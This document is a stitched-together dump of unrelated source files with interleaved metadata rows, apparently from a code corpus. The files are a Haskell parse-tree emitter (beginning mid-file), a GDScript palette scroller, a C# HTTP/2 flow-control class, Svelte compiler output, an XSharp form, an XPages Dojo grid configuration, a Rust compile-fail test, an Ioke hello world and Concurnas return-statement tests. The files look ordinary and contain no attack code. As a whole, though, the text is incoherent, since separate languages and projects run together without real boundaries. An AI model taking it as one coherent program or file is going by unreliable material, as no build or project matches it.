emitLambdef (_, (params, (_, body))) = joinStrs [header, middle, footer]
where header = "(expr (lambda ("
middle = params ++ ") (" ++ body
footer = ")))"
emitStarExpr :: (String,String) -> String
emitStarExpr (star, exp) = case star of
[] -> exp
_ -> "(star " ++ exp ++ ")"
emitArglist :: (String,(String,String)) -> String
emitArglist (arg, (restOfArgs, _)) = join " " [arg, restOfArgs]
emitZeroPlusArgs :: (String,(String,String)) -> String
emitZeroPlusArgs (_,(arg, restOfArgs)) = join " " [arg, restOfArgs]
emitFinallyTryBlock :: (String,(String,String)) -> String
emitFinallyTryBlock (_, (_, block)) = "() #f (" ++ block ++ ")"
emitFailIfNotParsed :: String -> String
emitFailIfNotParsed parsed = case parsed of
[] -> "#f"
_ -> parsed
emitExceptElseClause :: (String,(String,String)) -> String
emitExceptElseClause (_, (_, block)) = "(" ++ block ++ ")"
emitFinallyCatchBlock :: (String,(String,String)) -> String
emitFinallyCatchBlock (_, (_, block)) = "(" ++ block ++ ")"
emitExceptElseFinally :: (String,(String,(String,(String,(String,String))))) ->
String
emitExceptElseFinally (except, (_, (block, ([], (elseBlock, finally))))) =
joinStrs [exceptBlock, elseBlock, " ", finally]
where exceptBlock = "((" ++ except ++ " (" ++ block ++ "))) "
emitExceptElseFinally (except, (_, (block, (moreExcepts, (elseBlock,
finally))))) =
joinStrs [exceptBlock, moreExcepts, ") ", elseBlock, " ", finally]
where exceptBlock = "((" ++ except ++ " (" ++ block ++ ")) "
emitTest :: (String,(String,(String,(String,String)))) -> String
emitTest (ortest1, (_, (ortest2, (_, testExp)))) =
join " " [header, ortest1, ortest2, testExp, footer]
where header = "(expr (if "
footer = "))"
emitZeroPlusOrs :: (String,(String,String)) -> String
emitZeroPlusOrs (_, (andTestExp, restOfOrs)) = join " " [andTestExp, restOfOrs]
emitOrTest :: (String,String) -> String
emitOrTest (andTestExp, orExps) = case orExps of
[] -> andTestExp
_ -> joinStrs [header, body, footer]
where header = "(or "
body = join " " [andTestExp, orExps]
footer = ")"
emitAndTest :: (String,String) -> String
emitAndTest (notTestExp, restOfNotTests) = case restOfNotTests of
[] -> notTestExp
_ -> joinStrs [header, notTestExp, " ", restOfNotTests, footer]
where header = "(and "
footer = ")"
emitZeroPlusNots :: (String,(String,String)) -> String
emitZeroPlusNots (_, (notTestExp, restOfNots)) = join " " [notTestExp,restOfNots]
emitNotTest :: (String,String) -> String
emitNotTest (_, notTestExp) = joinStrs [header, notTestExp, footer]
where header = "(not "
footer = ")"
emitComparison :: (String,String) -> String
emitComparison (starExp, restOfComps) = case restOfComps of
[] -> starExp
_ -> joinStrs [header, starExp, " ", restOfComps, footer]
where header = "(comparison "
footer = ")"
emitZeroPlusComps :: (String,(String,String)) -> String
emitZeroPlusComps (cop,(e,r)) = join " " [("(" ++ cop ++ " " ++ e ++ ")"),r]
emitComparisonOperator :: String -> String
emitComparisonOperator x = joinStrs ["\"", x, "\""]
emitZeroPlusXors :: (String,(String,String)) -> String
emitZeroPlusXors (_, (xorExp, restXors)) = join " " [xorExp, restXors]
emitExpr :: (String,String) -> String
emitExpr (xorExp, restXors) = case restXors of
[] -> xorExp
_ -> joinStrs [header, xorExp, " ", restXors, footer]
where header = "(bitwise-or "
footer = ")"
emitXorExpr :: (String,String) -> String
emitXorExpr (andExp, restOfAnds) = case restOfAnds of
[] -> andExp
_ -> joinStrs [header, andExp, " ", restOfAnds, footer]
where header = "(bitwise-xor "
footer = ")"
emitZeroPlusAnds :: (String,(String,String)) -> String
emitZeroPlusAnds (_, (andExp, restOfAnds)) = join " " [andExp, restOfAnds]
emitZeroPlusShifts :: (String,(String,String)) -> String
emitZeroPlusShifts (_,(shiftExp, restOfShifts)) =
join " " [shiftExp, restOfShifts]
emitAndExpr :: (String,String) -> String
emitAndExpr (shiftExp, restOfShiftExps) = case restOfShiftExps of
[] -> shiftExp
_ -> joinStrs [header, shiftExp, " ", restOfShiftExps, footer]
where header = "(bitwise-and "
footer = ")"
emitShiftExpr :: (String,String) -> String
emitShiftExpr (arithExp, restOfArithExps) = case restOfArithExps of
[] -> arithExp
_ -> joinStrs [header, body, footer]
where header = "(shift "
body = join " " [arithExp, restOfArithExps]
footer = ")"
emitZeroPlusArithExprs :: (String,(String,String)) -> String
emitZeroPlusArithExprs (shiftOperator, (arithExp, restOfArithExps)) =
join " " [header, body, footer, restOfArithExps]
where header = "("
body = "\"" ++ shiftOperator ++ "\" " ++ arithExp
footer = ")"
emitZeroPlusAdds :: (String,(String,String)) -> String
emitZeroPlusAdds (oprator, (exp, restOfAdds)) = join " " [header, body, footer,
restOfAdds]
where header = "("
body = "\"" ++ oprator ++ "\"" ++ exp
footer = ")"
emitTerm :: (String,String) -> String
emitTerm (fctr, restOfMults) = case restOfMults of
[] -> fctr
_ -> joinStrs [header, body, footer]
where header = "(term "
body = join " " [fctr, restOfMults]
footer = ")"
emitZeroPlusMults :: (String,(String,String)) -> String
emitZeroPlusMults (operator, (operand, restOfOps)) =
join " " [header, body, footer, restOfOps]
where header = "("
body = "\"" ++ operator ++ "\" " ++ operand
footer = ")"
emitFactor :: (String,String) -> String
emitFactor (operatorChoice, operand) = joinStrs [header, body, footer]
where header = "("
body = "\"" ++ operatorChoice ++ "\" " ++ operand
footer = ")"
emitIndexed :: (String,String) -> String
emitIndexed (atomExp, restOfExps) = case restOfExps of
[] -> atomExp
_ -> joinStrs [header, body, footer]
where header = "(indexed "
body = join " " [atomExp, restOfExps]
footer = ")"
emitZeroPlusTrailers :: (String,String) -> String
emitZeroPlusTrailers (trlr, restOfTrailers) = join " " [trlr, restOfTrailers]
emitPower :: (String,String) -> String
emitPower (coef, pwr) = case pwr of
[] -> coef
_ -> joinStrs [header, body, footer]
where header = "(power "
body = coef ++ " " ++ pwr
footer = ")"
emitStr :: (String,String) -> String
emitStr (string, restOfStrings) = string ++ restOfStrings
emitTrailerTuple :: (String,(String,String)) -> String
emitTrailerTuple (_, (optArglist, _)) = joinStrs [header, optArglist, footer]
where header = "(called "
footer = ")"
emitSubscript :: (String,(String,String)) -> String
emitSubscript (_, (listContents, _)) = "(subscript " ++ listContents ++ ")"
emitMethodCall :: (String,String) -> String
emitMethodCall (_, id) = "(dot " ++ id ++ ")"
emitTestOrTests :: (String,(String,String)) -> String
emitTestOrTests (exp, (restOfExps, _)) = case restOfExps of
[] -> exp
_ -> joinStrs [header, body, footer]
where header = "(tuple "
body = exp ++ " " ++ restOfExps
footer = ")"
emitTuple :: (String,(String,String)) -> String
emitTuple (_,(tupleElems,_)) = tupleElems
emitList :: (String,(String,String)) -> String
emitList (_,(listElems,_)) = "(list " ++ listElems ++ ")"
emitDict :: (String,(String,String)) -> String
emitDict (_, (dictionary, _)) = case (null dictionary) of
True -> "(dict)"
False -> dictionary
emitTestTuple :: (String,(String,String)) -> String
emitTestTuple (_, (testExp, restOfTests)) = join " " [testExp, restOfTests]
emitManyTests :: (String,(String,String)) -> String
emitManyTests (test1, (restOfTests, _)) = join " " [test1, restOfTests]
emitTestTuple' :: (String,(String,(String,(String,String)))) -> String
emitTestTuple' (_, (test1, (_, (test2, restOfTests)))) =
join " " [header, body, footer, restOfTests]
where header = "("
body = test1 ++ " " ++ test2
footer = ")"
emitDictMaker :: (String,(String,(String,(String,String)))) -> String
emitDictMaker (key, (_, (val, (restOfDict, _)))) = joinStrs [body, footer]
where dictLit = "(dict (" ++ key ++ " " ++ val ++ ")"
body = join " " [dictLit, restOfDict]
footer = ")"
emitSetMaker :: (String,(String,String)) -> String
emitSetMaker (eleme, (restOfElems, (_))) = joinStrs [body, footer]
where body = join " " [("(set " ++ eleme), restOfElems]
footer = ")"
joinStrs :: [String] -> String
joinStrs ss = join "" ss
| Haskell | 5 | choosewhatulike/500lines | incomplete/parser-and-lexer/src/lib/EmitParseTree.hs | [
"CC-BY-3.0"
] |
extends VBoxContainer
var scroll := Vector2.ZERO
var drag_started := false
var drag_start_position := Vector2.ZERO
onready var h_slider := $MarginContainer/HScrollBar
onready var v_slider := $HBoxContainer/CenterContainer/HBoxContainer/VScrollBar
onready var palette_grid := $HBoxContainer/CenterContainer/HBoxContainer/PaletteGrid
func _input(event) -> void:
# Stops dragging even if middle mouse is released outside of this container
if event is InputEventMouseButton:
if event.button_index == BUTTON_MIDDLE and not event.pressed:
drag_started = false
func set_sliders(palette: Palette, origin: Vector2) -> void:
h_slider.value = origin.x
v_slider.value = origin.y
h_slider.max_value = palette.width
if h_slider.max_value <= PaletteGrid.MAX_GRID_SIZE.x:
h_slider.visible = false
else:
h_slider.visible = true
v_slider.max_value = palette.height
if v_slider.max_value <= PaletteGrid.MAX_GRID_SIZE.y:
v_slider.visible = false
else:
v_slider.visible = true
func scroll_grid() -> void:
palette_grid.scroll_palette(scroll)
func _on_VSlider_value_changed(value) -> void:
scroll.y = value
scroll_grid()
func _on_HSlider_value_changed(value: int) -> void:
scroll.x = value
scroll_grid()
func _on_PaletteGrid_gui_input(event) -> void:
if event is InputEventMouseButton:
if event.button_index == BUTTON_MIDDLE and event.pressed:
drag_started = true
# Keeps position where the dragging started
drag_start_position = event.position + Vector2(h_slider.value, v_slider.value) * PaletteSwatch.SWATCH_SIZE
if event is InputEventMouseMotion and drag_started:
h_slider.value = (drag_start_position.x - event.position.x) / PaletteSwatch.SWATCH_SIZE.x
v_slider.value = (drag_start_position.y - event.position.y) / PaletteSwatch.SWATCH_SIZE.y
| GDScript | 4 | triptych/Pixelorama | src/Palette/PaletteScroll.gd | [
"MIT"
] |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
using System.Collections.Generic;
using System.Diagnostics;
using System.Threading.Tasks.Sources;
namespace Microsoft.AspNetCore.Server.Kestrel.Core.Internal.Http2.FlowControl
{
internal class OutputFlowControl
{
private FlowControl _flow;
private readonly AwaitableProvider _awaitableProvider;
public OutputFlowControl(AwaitableProvider awaitableProvider, uint initialWindowSize)
{
_flow = new FlowControl(initialWindowSize);
_awaitableProvider = awaitableProvider;
}
public int Available => _flow.Available;
public bool IsAborted => _flow.IsAborted;
public ManualResetValueTaskSource<object?> AvailabilityAwaitable
{
get
{
Debug.Assert(!_flow.IsAborted, $"({nameof(AvailabilityAwaitable)} accessed after abort.");
Debug.Assert(_flow.Available <= 0, $"({nameof(AvailabilityAwaitable)} accessed with {Available} bytes available.");
return _awaitableProvider.GetAwaitable();
}
}
public void Reset(uint initialWindowSize)
{
// When output flow control is reused the client window size needs to be reset.
// The client might have changed the window size before the stream is reused.
_flow = new FlowControl(initialWindowSize);
Debug.Assert(_awaitableProvider.ActiveCount == 0, "Queue should have been emptied by the previous stream.");
}
public void Advance(int bytes)
{
_flow.Advance(bytes);
}
// bytes can be negative when SETTINGS_INITIAL_WINDOW_SIZE decreases mid-connection.
// This can also cause Available to become negative which MUST be allowed.
// https://httpwg.org/specs/rfc7540.html#rfc.section.6.9.2
public bool TryUpdateWindow(int bytes)
{
if (_flow.TryUpdateWindow(bytes))
{
while (_flow.Available > 0 && _awaitableProvider.ActiveCount > 0)
{
_awaitableProvider.CompleteCurrent();
}
return true;
}
return false;
}
public void Abort()
{
// Make sure to set the aborted flag before running any continuations.
_flow.Abort();
while (_awaitableProvider.ActiveCount > 0)
{
_awaitableProvider.CompleteCurrent();
}
}
}
}
| C# | 4 | tomaswesterlund/aspnetcore | src/Servers/Kestrel/Core/src/Internal/Http2/FlowControl/OutputFlowControl.cs | [
"MIT"
] |
// compile-flags: --target thumbv8m.main-none-eabi --crate-type lib
// needs-llvm-components: arm
#![feature(cmse_nonsecure_entry, no_core, lang_items)]
#![no_core]
#[lang="sized"]
trait Sized { }
#[no_mangle]
#[cmse_nonsecure_entry]
//~^ ERROR `#[cmse_nonsecure_entry]` requires C ABI [E0776]
pub fn entry_function(_: u32, _: u32, _: u32, d: u32) -> u32 {
d
}
| Rust | 3 | mbc-git/rust | src/test/ui/cmse-nonsecure/cmse-nonsecure-entry/wrong-abi.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
//
// Copyright (c) XSharp B.V. All Rights Reserved.
// Licensed under the Apache License, Version 2.0.
// See License.txt in the project root for license information.
//
USING System.Windows.Forms
PUBLIC PARTIAL CLASS frmXporter ;
INHERIT System.Windows.Forms.Form
PUBLIC CONSTRUCTOR()
SUPER()
SELF:InitializeComponent()
SELF:Icon := XPorter.Properties.Resources.XSharp
RETURN
PUBLIC VIRTUAL METHOD OKButtonClick(sender AS OBJECT, e AS System.EventArgs) AS VOID
LOCAL oDlg AS frmProgress
oDlg := frmProgress{}
oDlg:Show()
oDlg:Start()
SELF:oOKButton:Enabled := FALSE
IF SELF:orbSolution:Checked
SolutionConverter.Convert(SELF:otbFileName:Text, oDlg, SELF:adjustReferences:Checked, SELF:useXSRuntime:Checked)
ELSE
ProjectConverter.Convert(SELF:otbFileName:Text, oDlg, SELF:useXSRuntime:Checked)
ENDIF
oDlg:Stop()
SELF:oOKButton:Enabled := TRUE
RETURN
PUBLIC VIRTUAL METHOD rbSolutionClick(sender AS OBJECT, e AS EventArgs) AS VOID
SELF:SetDescription()
RETURN
PUBLIC VIRTUAL METHOD EnableButtons() AS VOID
IF String.IsNullOrEmpty(otbFileName:Text)
SELF:oOKButton:ENabled := FALSE
ELSEIF System.IO.File.Exists(otbFileName:Text)
SELF:oOKButton:Enabled := TRUE
ELSE
SELF:oOKButton:Enabled := FALSE
ENDIF
PUBLIC VIRTUAL METHOD SetDescription() AS VOID
IF SELF:orbSolution:Checked
SELF:oDescription:Text := e"This will create a new solution where the Vulcan.NET projects will be replaced "+;
e"with X# projects. \"-XS\" will be appended to the new solution name."+;
e"\r\nEach project will be stored in the original folder with the a different (.xsproj) extension. "+ ;
e"\r\nSource files will be shared between the original project "+;
e"and the X# project."
SELF:adjustReferences:Enabled := TRUE
ELSE
SELF:oDescription:Text := e"This will create a new X# project where the source files will be the same as the "+;
e"Vulcan.NET source files and where the compilation options will match the "+;
e"compilation options from the original project. "+;
e"\r\nThe project will be stored in the original folder with the a different (.xsproj) extension. "+ ;
e"\r\nSource files will be shared between the original project and the X# project"
SELF:adjustReferences:Enabled := FALSE
ENDIF
PUBLIC VIRTUAL METHOD rbClick(sender AS OBJECT, e AS System.EventArgs) AS VOID
SELF:SetDescription()
RETURN
PUBLIC VIRTUAL METHOD FileButtonClick(sender AS OBJECT, e AS System.EventArgs) AS VOID
LOCAL oDlg AS OpenFileDialog
oDlg := OpenFileDialog{}
oDlg:FileName := SELF:oTbFileName:Text
IF SELF:orbSolution:Checked
oDlg:Filter := "Visual Studio Solution Files|*.sln"
ELSE
oDlg:Filter := "Vulcan.NET Project FIles|*.vnproj"
ENDIF
VAR result := oDlg:ShowDialog()
IF result == DialogResult.OK
SELF:oTbFileName:Text := oDlg:FileName
ENDIF
RETURN
PUBLIC VIRTUAL METHOD BasicFormShown(sender AS OBJECT, e AS System.EventArgs) AS VOID
SELF:SetDescription()
SELF:EnableButtons()
RETURN
PUBLIC VIRTUAL METHOD CancelButtonClick(sender AS OBJECT, e AS System.EventArgs) AS VOID
SELF:Close()
RETURN
PUBLIC VIRTUAL METHOD tbFileNameTextChanged(sender AS OBJECT, e AS System.EventArgs) AS VOID
SELF:EnableButtons()
RETURN
END CLASS
| xBase | 4 | JohanNel/XSharpPublic | Tools/XPorter/frmXporter.prg | [
"Apache-2.0"
] |
/* generated by Svelte vX.Y.Z */
import {
SvelteComponent,
detach,
init,
insert,
noop,
safe_not_equal,
space,
text
} from "svelte/internal";
function create_fragment(ctx) {
let t0;
let t1;
let t2_value = import.meta.url + "";
let t2;
return {
c() {
t0 = text(/*url*/ ctx[0]);
t1 = space();
t2 = text(t2_value);
},
m(target, anchor) {
insert(target, t0, anchor);
insert(target, t1, anchor);
insert(target, t2, anchor);
},
p: noop,
i: noop,
o: noop,
d(detaching) {
if (detaching) detach(t0);
if (detaching) detach(t1);
if (detaching) detach(t2);
}
};
}
function instance($$self) {
const url = import.meta.url;
return [url];
}
class Component extends SvelteComponent {
constructor(options) {
super();
init(this, options, instance, create_fragment, safe_not_equal, {});
}
}
export default Component; | JavaScript | 5 | Theo-Steiner/svelte | test/js/samples/import-meta/expected.js | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8"?>
<!-- ******************************************************************* -->
<!-- -->
<!-- © Copyright IBM Corp. 2010, 2012 -->
<!-- -->
<!-- Licensed under the Apache License, Version 2.0 (the "License"); -->
<!-- you may not use this file except in compliance with the License. -->
<!-- You may obtain a copy of the License at: -->
<!-- -->
<!-- http://www.apache.org/licenses/LICENSE-2.0 -->
<!-- -->
<!-- Unless required by applicable law or agreed to in writing, software -->
<!-- distributed under the License is distributed on an "AS IS" BASIS, -->
<!-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or -->
<!-- implied. See the License for the specific language governing -->
<!-- permissions and limitations under the License. -->
<!-- -->
<!-- ******************************************************************* -->
<faces-config>
<faces-config-extension>
<namespace-uri>http://www.ibm.com/xsp/coreex</namespace-uri>
<default-prefix>xe</default-prefix>
<designer-extension>
<control-subpackage-name>dojo.grid</control-subpackage-name>
</designer-extension>
</faces-config-extension>
<!-- Start of Dojo Extension Controls -->
<component>
<description>A grid similar to a spreadsheet.</description>
<display-name>Dojo Data Grid</display-name>
<component-type>com.ibm.xsp.extlib.dojo.grid.DojoDataGrid</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.grid.UIDojoDataGrid</component-class>
<property>
<description>The name of a JavaScript variable that will be created that will hold the grid object. This can then be referenced in scripts.</description>
<display-name>JavaScript Variable ID</display-name>
<property-name>jsId</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<!-- TODO BreakingChange Change default behaviour when absent to provide clientId replacing colons with underscores -->
<!-- This is not a control reference, it is a declaration of a JavaScript variable -->
<tags>
todo
not-control-id-reference
</tags>
</designer-extension>
</property-extension>
</property>
<property>
<description>The name of JavaScript variable that holds the Dojo data store object used to get data for the grid.</description>
<display-name>Store</display-name>
<property-name>store</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>data</category>
<!-- This is a JavaScript variable reference. -->
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifying this table option adds a selection area on the left of the table to make row selection easier. The value of this option is a width to be used for the selector.</description>
<display-name>Row Selector</display-name>
<property-name>rowSelector</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>format</category>
</designer-extension>
</property-extension>
</property>
<property>
<!-- # "none", "single", "multiple", "extended" should not be translated. -->
<description>Specifies how row selection is handled.</description>
<display-name>Selection Mode</display-name>
<property-name>selectionMode</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<editor>com.ibm.workplace.designer.property.editors.comboParameterEditor</editor>
<editor-parameter>
none
single
multiple
extended
</editor-parameter>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies a menu to be used as a context menu for the grid headers.</description>
<display-name>Header Menu</display-name>
<property-name>headerMenu</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the number of rows to display</description>
<display-name>Auto Height</display-name>
<property-name>autoHeight</property-name>
<property-class>int</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<!-- TODO Introduce new boolean property autoHeightEnabled -->
<tags>
todo
</tags>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies whether a single click is needed to enter cell editing mode. By default this property is false meaning a double click is required to enter cell editing mode.</description>
<display-name>Single Click Edit</display-name>
<property-name>singleClickEdit</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the message shown while the content of the control is loading.</description>
<display-name>Loading Message</display-name>
<property-name>loadingMessage</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<localizable>true</localizable>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the message shown if the control encountered an error while loading the content of the control.</description>
<display-name>Error Message</display-name>
<property-name>errorMessage</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<localizable>true</localizable>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies whether text selection is enabled within this control.</description>
<display-name>Selectable</display-name>
<property-name>selectable</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the number of milliseconds to delay before updating this control after receiving notifications from the data store.</description>
<display-name>Update Delay</display-name>
<property-name>updateDelay</property-name>
<property-class>int</property-class>
<property-extension>
<designer-extension>
<category>data</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the initial width of this control when "autoWidth" is enabled.</description>
<display-name>Initial Width</display-name>
<property-name>initialWidth</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>format</category>
<!-- note, this allows values like "30px" or "50%", i.e. not an integer -->
<!-- xe:applicationConfiguration.legalLogoHeight has a TODO asking
for a new CSS dimension editor to replace this comboParam -->
<editor>com.ibm.workplace.designer.property.editors.comboParameterEditor</editor>
<editor-parameter>
50%
30px
10em
2cm
auto
inherit
</editor-parameter>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the number of rows to be displayed.</description>
<display-name>Rows Per Page</display-name>
<property-name>rowsPerPage</property-name>
<property-class>int</property-class>
<property-extension>
<default-value>20</default-value>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the query used to fetch items from the data store.</description>
<display-name>Query</display-name>
<property-name>query</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies whether to enable protection against malicious content in data. This is enabled by default.</description>
<display-name>Escape HTML In Data</display-name>
<property-name>escapeHTMLInData</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>JavaScript code executed when this control performs row styling on a given row.</description>
<display-name>Style Row Script</display-name>
<property-name>onStyleRow</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>events</category>
<event>true</event>
<subcategory>container-event</subcategory>
<!-- This is an event, not a CSS style (property-name
contains "Style" so need to explicitly mark it as not style) -->
<tags>
not-css-style
</tags>
</designer-extension>
</property-extension>
</property>
<property>
<description>JavaScript code executed when a pointer control is clicked over a row in this control</description>
<display-name>Row Click Script</display-name>
<property-name>onRowClick</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>events</category>
<event>true</event>
<subcategory>container-event</subcategory>
</designer-extension>
</property-extension>
</property>
<property>
<description>JavaScript code executed when a pointer control is double clicked over a row in this control</description>
<display-name>Row Double Click Script</display-name>
<property-name>onRowDblClick</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>events</category>
<event>true</event>
<subcategory>container-event</subcategory>
</designer-extension>
</property-extension>
</property>
<property>
<description>JavaScript code executed when the context menu of a row in this control is accessed by a pointer control</description>
<display-name>Row Context Menu Script</display-name>
<property-name>onRowContextMenu</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>events</category>
<event>true</event>
<subcategory>container-event</subcategory>
</designer-extension>
</property-extension>
</property>
<property>
<description>The REST Service control ID. This supersedes the "store" property to refer to the actual store ID.</description>
<display-name>Control Store ID</display-name>
<property-name>storeComponentId</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>data</category>
<editor>com.ibm.xsp.extlib.designer.tooling.editor.XPageControlIDEditor</editor>
<editor-parameter>
http://www.ibm.com/xsp/coreex|restService
</editor-parameter>
</designer-extension>
</property-extension>
</property>
<component-extension>
<base-component-type>com.ibm.xsp.extlib.dojo.Widget</base-component-type>
<component-family>com.ibm.xsp.extlib.dojo.DojoDataGrid</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.grid.DojoDataGrid</renderer-type>
<tag-name>djxDataGrid</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
<!-- TODO Investigate event handler behaviour -->
<!-- TODO Introduce ACF htmlFilter to all data store controls -->
<tags>
todo
</tags>
</designer-extension>
</component-extension>
</component>
<component>
<description>This control is used when the grid displays multiple rows. Else, it can be omitted.</description>
<display-name>Dojo Data Grid Row</display-name>
<component-type>com.ibm.xsp.extlib.dojo.grid.DojoDataGridRow</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.grid.UIDojoDataGridRow</component-class>
<component-extension>
<component-family>com.ibm.xsp.extlib.dojo.DojoDataGrid</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.grid.DojoDataGridRow</renderer-type>
<tag-name>djxDataGridRow</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
<!-- This is rendererd by the parent grid, so no row renderer -->
<tags>
no-faces-config-renderer
</tags>
</designer-extension>
</component-extension>
</component>
<component>
<description>Defines the content of a column. Can be inserted into a Data Grid Row in case of multiple rows grid, or directly into a Data Grid.</description>
<display-name>Dojo Data Grid Column</display-name>
<component-type>com.ibm.xsp.extlib.dojo.grid.DojoDataGridColumn</component-type>
<component-class>com.ibm.xsp.extlib.component.dojo.grid.UIDojoDataGridColumn</component-class>
<property>
<description>Specifies the name of the field from the data store to be displayed.</description>
<display-name>Field</display-name>
<property-name>field</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>data</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the width of the column.</description>
<display-name>Column Width</display-name>
<property-name>width</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>format</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the type of cell for this control.</description>
<display-name>Cell Type</display-name>
<property-name>cellType</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<editor>com.ibm.workplace.designer.property.editors.comboParameterEditor</editor>
<editor-parameter>
dojox.grid.cells.Cell
dojox.grid.cells.RowIndex
dojox.grid.cells.Select
dojox.grid.cells.AlwaysEdit
dojox.grid.cells.Bool
</editor-parameter>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies a JavaScript function that is responsible for formatting the cell data prior to being displayed.</description>
<display-name>Formatter Function</display-name>
<property-name>formatter</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>data</category>
<editor>com.ibm.designer.domino.client.script.editor</editor>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies a JavaScript function which returns the unformatted data for a cell when requested.</description>
<display-name>Get Function</display-name>
<property-name>get</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>data</category>
<editor>com.ibm.designer.domino.client.script.editor</editor>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the list of allowable options for the "Select" cell type.</description>
<display-name>Select Cell Type Options</display-name>
<property-name>options</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies whether the contents of cell can be edited.</description>
<display-name>Editable</display-name>
<property-name>editable</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
<!-- TODO Investigate integration with XPages readonly -->
<tags>
todo
</tags>
</designer-extension>
</property-extension>
</property>
<property>
<description>This boolean property can be used to hide a column in the table. If its value is true the column is hidden. If false the column is displayed.</description>
<display-name>Hidden</display-name>
<property-name>hidden</property-name>
<property-class>boolean</property-class>
<property-extension>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<property>
<description>Specifies the label for the column header</description>
<display-name>Label</display-name>
<property-name>label</property-name>
<property-class>java.lang.String</property-class>
<property-extension>
<localizable>true</localizable>
<designer-extension>
<category>basics</category>
</designer-extension>
</property-extension>
</property>
<component-extension>
<component-family>com.ibm.xsp.extlib.dojo.DojoDataGrid</component-family>
<renderer-type>com.ibm.xsp.extlib.dojo.grid.DojoDataGridColumn</renderer-type>
<tag-name>djxDataGridColumn</tag-name>
<designer-extension>
<in-palette>true</in-palette>
<category>Dojo Layout</category>
<!-- This column is rendered by the parent grid, so no column renderer -->
<tags>
no-faces-config-renderer
</tags>
</designer-extension>
</component-extension>
</component>
<!-- End of Dojo Extension Controls -->
<!-- /end move to extlib-dojox-grid -->
</faces-config>
| XPages | 4 | jesse-gallagher/XPagesExtensionLibrary | extlib/lwp/product/runtime/eclipse/plugins/com.ibm.xsp.extlib.controls/src/com/ibm/xsp/extlib/config/raw-extlib-dojox-grid.xsp-config | [
"Apache-2.0"
] |
"Hello, World!" println
| Ioke | 1 | venusing1998/hello-world | i/ioke.ik | [
"MIT"
] |
//##69. Returns - 1. return must be possible - simple elifs
//TODO: switch statement can result in the case of returns being a problem. elif and try/catch are covered fully though!
def s() {5>6 } def fooFail1() int
{
if(s()){ return 6 }
}
def fooFail2() int
{
if(s()){ return 6 }
else { }
}
def fooFail3() int
{
if(s()){ return 6 }
elif(s()) {}
}
def fooFail4() int
{
if(s()){ return 6 }
elif(s()) {}
else{return 55}
}
def fooFail5() int
{
if(s()){ return 6 }
elif(s()) {return 66 }
}
def fooOK() int{
if(s()){ return 6 }
return 7
}
def fooOK2() int{
if(s()){ return 6 } else { return 7}
}
def fooOK3() int
{
if(s()){ return 6 }
return 2
}
~~~~~
//##69. Returns - 2 - nested blocks
def foo1() int
{
{return 6 }
}
def foo2() int
{
{ {return 6 }}
}
def ss() {5>6 } def foo3() int {
if(ss()) { {return 6 } }
else { {return 6 } }
}
~~~~~
